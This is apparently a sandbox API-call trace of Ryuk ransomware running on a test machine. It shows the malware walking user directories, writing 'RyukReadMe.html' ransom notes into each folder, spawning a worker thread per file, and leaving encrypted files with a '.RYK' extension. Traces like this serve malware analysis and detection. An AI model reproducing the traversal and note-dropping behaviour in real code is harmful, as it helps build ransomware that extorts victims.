	[0278.504] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8
	[0278.504] GetLastError () returned 0xb7
	[0278.504] CloseHandle (hObject=0x8c8) returned 1
	[0278.504] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0278.505] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.505] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0278.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0278.509] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.510] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0278.510] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0278.510] SetLastError (dwErrCode=0x0) 
	[0278.510] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.510] GetLastError () returned 0x3
	[0278.510] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0278.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.511] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b6666a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b6666a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c142b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.511] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b6666a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b6666a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c142b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.511] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.511] SetLastError (dwErrCode=0x0) 
	[0278.511] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.511] GetLastError () returned 0xb7
	[0278.511] CloseHandle (hObject=0x8cc) returned 1
	[0278.512] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776938c0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.512] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776938c0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.512] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.512] SetLastError (dwErrCode=0x0) 
	[0278.512] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.512] GetLastError () returned 0xb7
	[0278.512] CloseHandle (hObject=0x874) returned 1
	[0278.513] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.513] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.513] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0278.513] SetLastError (dwErrCode=0x0) 
	[0278.513] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.513] GetLastError () returned 0xb7
	[0278.513] CloseHandle (hObject=0x7a8) returned 1
	[0278.513] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0278.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8
	[0278.517] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.518] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0278.518] SetLastError (dwErrCode=0x0) 
	[0278.518] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.519] GetLastError () returned 0xb7
	[0278.519] CloseHandle (hObject=0x874) returned 1
	[0278.519] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776b9a20, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776b9a20, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0278.519] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776b9a20, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776b9a20, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.519] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0278.519] SetLastError (dwErrCode=0x0) 
	[0278.519] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.520] GetLastError () returned 0xb7
	[0278.520] CloseHandle (hObject=0x8cc) returned 1
	[0278.520] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.520] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.520] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c547020, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.520] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c547020, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.520] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.521] SetLastError (dwErrCode=0x0) 
	[0278.521] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.521] GetLastError () returned 0xb7
	[0278.521] CloseHandle (hObject=0x8cc) returned 1
	[0278.521] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0278.521] SetLastError (dwErrCode=0x0) 
	[0278.521] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.522] GetLastError () returned 0xb7
	[0278.522] CloseHandle (hObject=0x8cc) returned 1
	[0278.522] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.522] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.522] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c547020, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.522] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c547020, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7c547020, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c547020, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.522] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.522] SetLastError (dwErrCode=0x0) 
	[0278.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.523] GetLastError () returned 0xb7
	[0278.523] CloseHandle (hObject=0x8cc) returned 1
	[0278.523] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7c840ba0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c840ba0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0278.523] SetLastError (dwErrCode=0x0) 
	[0278.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.524] GetLastError () returned 0xb7
	[0278.524] CloseHandle (hObject=0x8cc) returned 1
	[0278.524] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7c840ba0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c840ba0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.524] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7c840ba0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c840ba0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.524] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7c840ba0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1b22, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms.RYK", cAlternateFileName="FEEDSS~1.RYK")) returned 1
	[0278.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
